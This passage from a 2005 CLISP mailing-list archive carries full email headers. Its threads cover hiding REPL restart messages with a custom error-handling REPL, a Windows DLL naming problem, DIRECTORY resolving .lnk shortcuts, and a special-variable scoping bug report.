Thanks for your help! >=20 > what would you like to happen when you get an error? >=20 > do you want all errors automatically ignored?! > you will not be able to debug your code! >=20 > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Profanity is the one language all programmers know best. --=20 ______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org=20 This allows you to send and receive SMS through your mailbox. Powered by Outblaze From pjb@informatimago.com Thu Jan 06 19:31:11 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CmkqB-0003M2-0M for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 19:31:07 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cmkq8-0007Q2-KG for clisp-list@lists.sourceforge.net; Thu, 06 Jan 2005 19:31:06 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E7FDA586E2; Fri, 7 Jan 2005 04:31:19 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id A4AAB4FAE; Fri, 7 Jan 2005 04:31:12 +0100 (CET) Message-ID: <16862.640.237221.331992@thalassa.informatimago.com> To: =?iso-8859-1?B?RS4gQ2VybWXxbw== ?= Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Continuable error printing In-Reply-To: <20050106172206.7920423CF6@ws5-3.us4.outblaze.com> References: <20050106172206.7920423CF6@ws5-3.us4.outblaze.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 6 19:32:00 2005 X-Original-Date: Fri, 7 Jan 2005 04:31:12 +0100 E. Cermeño writes: > Hi, > > I'm using Clisp through Emacs, when I type something wrong, for example > k i get a message of continuable error, i want to get rid of this messages, > how can i do it? Some flag when calling clisp??? > [...] > [1]> k > > *** - EVAL: la variable K no tiene ningún valor > Es posible continuar en los siguientes puntos: > STORE-VALUE :R1 You may input a new value for K. > USE-VALUE :R2 You may input a value to be used instead of K. > > I don't want to read Es posible..... instead of K. Usa esto: (defmacro handling-errors (&body body) `(HANDLER-CASE (progn ,@body) (simple-condition (ERR) (apply (function format) *error-output* (simple-condition-format-control err) (simple-condition-format-arguments err))) (condition (ERR) (format *error-output* "~&condition: ~S~%" err)))) (defun repl () (do ((hist 1 (1+ hist)) (+eof+ (gensym))) (nil) (format t "~%~A[~D]> " (package-name *package*) hist) (handling-errors (let ((input (read *standard-input* nil +eof+))) (when (or (equal '(exit) input) (equal '(quit) input) (eq +eof+ input)) (return-from repl)) (setf +++ ++ ++ + + - - input) (setf /// // // / / (multiple-value-list (eval -))) (setf *** ** ** * * (first /)) (format t "~& --> ~{~S~^ ;~% ~}~%" /))))) [179]> (repl) COMMON-LISP-USER[1]> k EVAL: variable K has no value COMMON-LISP-USER[2]> -- __Pascal Bourguignon__ http://www.informatimago.com/ Wanna go outside. Oh, no! Help! I got outside! Let me back inside! From Joerg-Cyril.Hoehle@t-systems.com Fri Jan 07 04:55:19 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CmteA-0007Bs-SI for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 04:55:18 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CmteA-0005Qh-2n for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 04:55:18 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 7 Jan 2005 13:54:49 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 7 Jan 2005 13:55:09 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0302D331F1@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: cermee@linuxmail.org Subject: AW: [clisp-list] Re: Continuable error printing MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 7 04:56:08 2005 X-Original-Date: Fri, 7 Jan 2005 13:55:08 +0100 Hi, E. Cerme=C3=B1o writes: >I paste a small example, I forgot the argument in print, I want to >know that but not some past " continuable errors", look : >STORE-VALUE :R1 You may input a new value for K. >USE-VALUE :R2 You may input a value to be used instead of K. >STORE-VALUE :R3 You may input a new value for ... >USE-VALUE :R4 You may input a value to be used=20 You need to realize that most (all?) Lisp read-eval-print loops are = entered recursively unless you explicitly abort to an outer or top = level. This is different from e.g. the Python prompt. In other words, the Lisps have piled up for you all your past errors, = and you could proceed from any of these. But you don't seem to want these and instead would accomodate with a = "return to top-level" command that you'd use upon encountering an = error. Such a command in CLISP is either :a or :q, abort or quit. Try it and you'll get at most one STORE/USE-VALUE in typical cases. A session will look as follows: > [cause some error here] The following restarts are available: ABORT :R1 ABORT [possible other restarts] Break 1 [23]> quit ; or :q [24]> c *** - EVAL: variable C has no value The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of C. STORE-VALUE :R2 You may input a new value for C. ABORT :R3 ABORT Break 1 [25]> abort ; or :a [26]> See how the prompt changes and shows that you exited the debugger loop. Furthermore, if you use SLIME within Emacs, all you need is hit a = single key to exit the debugger loop. You may consider installing/using = SLIME. >Si contin=C3=BAa (tecleando `continue'): Reintentar >The following restarts are also available: BTW, this mixture of languages looks like incomplete (bogus?) = internationalization in CLISP. Regards, J=C3=B6rg H=C3=B6hle. From sds@gnu.org Fri Jan 07 06:46:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CmvNJ-0004QM-8x for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 06:46:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CmvNI-0002RE-2b for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 06:46:01 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j07Ejku5001243; Fri, 7 Jan 2005 09:45:46 -0500 (EST) To: clisp-list@lists.sourceforge.net, =?utf-8?q?E=2E_Cerme=C3=B1o?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050106215034.D0A5B23CF6@ws5-3.us4.outblaze.com> ( =?utf-8?q?E=2E_Cerme=C3=B1o's_message_of?= "Fri, 07 Jan 2005 05:50:34 +0800") References: <20050106215034.D0A5B23CF6@ws5-3.us4.outblaze.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?q?E=2E_Cerme=C3=B1o?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Continuable error printing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 7 06:47:01 2005 X-Original-Date: Fri, 07 Jan 2005 09:45:45 -0500 > * E. Cerme=C3=B1o [2005-01-07 05:50:34 +0800]: > > Break 8 [167]> (print ) > > ** - Continuable Error > EVAL: no se han entregado suficientes argumentos a PRINT: (PRINT) > > --->>>>> That's great , but I also get this=20 > > Si contin=C3=BAa (tecleando `continue'): Reintentar > The following restarts are also available: Please consider contributing to the CLISP project by providing Spanish translations of all English strings you see. You will need to submit them as a unified diff against the CVS, see files clisp/src/po/es.po clisp/src/po/clisplow_es.po > STORE-VALUE :R1 You may input a new value for K. > USE-VALUE :R2 You may input a value to be used instead of K. > STORE-VALUE :R3 You may input a new value for (FDEFINITION 'DEFSY= STEM). > USE-VALUE :R4 You may input a value to be used instead of (FDEF= INITION 'DEFSYSTEM). > CONTINUE :R5 Reintentar > STORE-VALUE :R6 You may input a new value for (FDEFINITION 'DEFSY= STEM). > USE-VALUE :R7 You may input a value to be used instead of (FDEF= INITION 'DEFSYSTEM). > USE-VALUE :R8 You may input a value to be used instead. > > ---->>>>>>>>> Here it's 8 lines, sometimes it's 50 or even more lines, o= f past errors, > I want to get rid of them. :q will abort to the top-level REPL. :h will print som help see also . --=20 Sam Steingold (http://www.podval.org/~sds) running w2k XFM: Exit file manager? [Continue] [Cancel] [Abort] From berlin.brown@gmail.com Fri Jan 07 18:03:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cn5wm-00082d-MG for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 18:03:20 -0800 Received: from rproxy.gmail.com ([64.233.170.199]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cn5wl-0003Oc-8v for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 18:03:20 -0800 Received: by rproxy.gmail.com with SMTP id f1so415337rne for ; Fri, 07 Jan 2005 18:03:17 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=brLPibDoR00qqcCOafvE4nYSsJy5HOHbbUQACeHbn+vj7Et345nEd2rVznpq2FDTe2jjebRDgEB8m2zNCVVrU6uJ+Ht5nDDAPu2c+bftW8MNUsrksfuGHAGKcINOiLe3Y5uHCfPJtP5WDICUlOcszEXao5RAmi54YgYivnwU+Mk= Received: by 10.38.125.47 with SMTP id x47mr361245rnc; Fri, 07 Jan 2005 18:03:17 -0800 (PST) Received: by 10.39.1.9 with HTTP; Fri, 7 Jan 2005 18:03:17 -0800 (PST) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: Arseny Slobodyuk Subject: Re: [clisp-list] Re: DLL Cannot Load Error Cc: clisp-list@lists.sourceforge.net In-Reply-To: <111326968.20050108112301@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <111326968.20050108112301@ich.dvo.ru> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 7 18:06:41 2005 X-Original-Date: Fri, 7 Jan 2005 21:03:17 -0500 I thought I would probably reply to all. No, there werent any invalid chars in the name, and I tested fine with a stub application, hmm, I fixed the problem, but I ended changing the name to exactly 4 characters, weird. It is probably a Win2000 problem. On Sat, 8 Jan 2005 11:23:01 +1000, Arseny Slobodyuk wrote: > Hello Berlin, > > > When compiling a DLL,and then loading in CLisp, on certain systems, > > the name of the dll has to be small? Weird > What are the names of the DLLs? Do they contain non-ASCII characters? > > -- > Best regards, > Arseny > > From ampy@ich.dvo.ru Fri Jan 07 17:24:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cn5Kf-0004eD-2x for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 17:23:57 -0800 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cn5Kc-0006Lt-Tt for clisp-list@lists.sourceforge.net; Fri, 07 Jan 2005 17:23:56 -0800 Received: from lenin (host-206-206.hosts.vtc.ru [212.16.206.206]) by vtc.ru (8.13.2/8.13.2) with ESMTP id j081NMeH015418; Sat, 8 Jan 2005 11:23:24 +1000 From: Arseny Slobodyuk X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodyuk Organization: ICH X-Priority: 3 (Normal) Message-ID: <111326968.20050108112301@ich.dvo.ru> To: Berlin Brown CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: DLL Cannot Load Error In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jan 9 09:56:04 2005 X-Original-Date: Sat, 8 Jan 2005 11:23:01 +1000 Hello Berlin, > When compiling a DLL,and then loading in CLisp, on certain systems, > the name of the dll has to be small? Weird What are the names of the DLLs? Do they contain non-ASCII characters? -- Best regards, Arseny From lisp-clisp-list@m.gmane.org Tue Jan 11 09:10:51 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CoPXf-0001ei-Mb for clisp-list@lists.sourceforge.net; Tue, 11 Jan 2005 09:10:51 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CoPXU-0003JT-NF for clisp-list@lists.sourceforge.net; Tue, 11 Jan 2005 09:10:45 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CoPXI-0004Cv-00 for ; Tue, 11 Jan 2005 18:10:28 +0100 Received: from proxy14.netz.sbs.de ([192.35.17.10]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 11 Jan 2005 18:10:28 +0100 Received: from chris.schaller by proxy14.netz.sbs.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 11 Jan 2005 18:10:28 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Chris Schaller Lines: 7 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 192.35.17.10 (Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050107 Firefox/1.0) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] DIRECTORY implementation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 11 09:11:45 2005 X-Original-Date: Tue, 11 Jan 2005 09:23:32 +0000 (UTC) Is there any definition on how DIRECTORY should treat links? DIRECTORY is automatically resolving Windows shortcuts (.lnk files) to the file they are pointing to instead of simply returning the directory listing as Windows' dir command. Is this a bug or a feature? Maybe there is some option to turn this off, but I couldn't find one in the implementation notes. - Chris From sds@gnu.org Tue Jan 11 09:41:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CoQ1F-0003DF-Vz for clisp-list@lists.sourceforge.net; Tue, 11 Jan 2005 09:41:25 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CoQ1D-0006aF-Bv for clisp-list@lists.sourceforge.net; Tue, 11 Jan 2005 09:41:25 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j0BHfEDP002334; Tue, 11 Jan 2005 12:41:14 -0500 (EST) To: clisp-list@lists.sourceforge.net, Chris Schaller Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Chris Schaller's message of "Tue, 11 Jan 2005 09:23:32 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Chris Schaller Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.5 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: DIRECTORY implementation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 11 09:42:09 2005 X-Original-Date: Tue, 11 Jan 2005 12:41:13 -0500 > * Chris Schaller [2005-01-11 09:23:32 +0000]: > > Is there any definition on how DIRECTORY should treat links? > DIRECTORY is automatically resolving Windows shortcuts (.lnk files) to > the file they are pointing to instead of simply returning the > directory listing as Windows' dir command. Is this a bug or a > feature? Maybe there is some option to turn this off, but I couldn't > find one in the implementation notes. this is a "feature known to upset some users" :-( -- Sam Steingold (http://www.podval.org/~sds) running w2k Only a fool has no doubts. From pjb@informatimago.com Tue Jan 11 10:38:39 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CoQud-0005vg-3h for clisp-list@lists.sourceforge.net; Tue, 11 Jan 2005 10:38:39 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CoQua-0004df-Kn for clisp-list@lists.sourceforge.net; Tue, 11 Jan 2005 10:38:38 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B9214586E6; Tue, 11 Jan 2005 19:39:02 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9FBBC4FD9; Tue, 11 Jan 2005 19:39:02 +0100 (CET) Message-ID: <16868.7494.614502.789560@thalassa.informatimago.com> To: Chris Schaller Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] DIRECTORY implementation In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 11 10:39:10 2005 X-Original-Date: Tue, 11 Jan 2005 19:39:02 +0100 Chris Schaller writes: > Is there any definition on how DIRECTORY should treat links? DIRECTORY is > automatically resolving Windows shortcuts (.lnk files) to the file they are > pointing to instead of simply returning the directory listing as Windows' dir > command. Is this a bug or a feature? Not exactly. One thing is that DIRECTORY must return the TRUENAME of the files. It happens that on unix, most implementations take it to be the item refered to by the symbolic links. Yes, I guess the equivalent behavior for MS-Windows is to do the same for .lnk files. Since there's not Common-Lisp function to manage symbolic links, it's probably the best behavior to implement. > Maybe there is some option to turn this > off, but I couldn't find one in the implementation notes. The best bet is to use the (future) POSIX API. In the mean time, use FFI to the underlying POSIX layer of the OS. -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From lisp-clisp-list@m.gmane.org Wed Jan 12 07:42:22 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cokda-0000NB-Ct for clisp-list@lists.sourceforge.net; Wed, 12 Jan 2005 07:42:22 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CokdZ-00011W-SF for clisp-list@lists.sourceforge.net; Wed, 12 Jan 2005 07:42:22 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CokdT-0004CI-00 for ; Wed, 12 Jan 2005 16:42:15 +0100 Received: from s93-2channel.dc.ukrtel.net ([195.5.21.146]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 12 Jan 2005 16:42:15 +0100 Received: from udodenko by s93-2channel.dc.ukrtel.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 12 Jan 2005 16:42:15 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Alex Mizrahi" Lines: 44 Message-ID: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: s93-2channel.dc.ukrtel.net X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Comment-To: All FL-Build: Fidolook 2004 (HL) 6.0.2800.90 - 7/2/2004 14:37:42 X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.2 PRIORITY_NO_NAME Message has priority, but no X-Mailer/User-Agent 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] looks like a bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 12 07:43:04 2005 X-Original-Date: Wed, 12 Jan 2005 17:41:55 +0200 Hello, All! this was discussed in comp.lang.lisp, but i don't know whether clisp developers read comp.lang.lisp regulary, so i thought it's better to post it also here.. this applies for clisp-2.33.1, latest release for win32 platform, but possibly it's not yet been found/fixed. if it is (or it's intended behaviour) - sorry. i found problem testing examples for special vars in CLHS and seeing different results. ========================================================================= * Newsgroup: comp.lang.lisp * From: "Paul F. Dietz" * Date: Tue, 11 Jan 2005 06:19:58 -0600 * Subj: Re: special declaration in clisp ========================================================================== Alex Mizrahi wrote: > (let ((x (1+ x)) (declare (special x)) x) should x in (1+ x) be special or not? in CLISP it is, in other implementations - it's not. It should not (see CLtS, secion 3.3.4, paragraph 6). Paul ========================================================================== a simple test without any global values or declarations: (let ((x 5)) (let ((x (1+ x))) (declare (special x)) (print x))) it prints 6 in lispworks and others, but says x is unbound in CLISP. With best regards, Alex 'killer_storm' Mizrahi. From sds@gnu.org Wed Jan 12 07:50:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Coklc-0000j3-Aq for clisp-list@lists.sourceforge.net; Wed, 12 Jan 2005 07:50:40 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cokla-0003pn-Gd; Wed, 12 Jan 2005 07:50:40 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j0CFoQ4P024160; Wed, 12 Jan 2005 10:50:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Alex Mizrahi" Cc: Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Alex Mizrahi's message of "Wed, 12 Jan 2005 17:41:55 +0200") References: Mail-Followup-To: 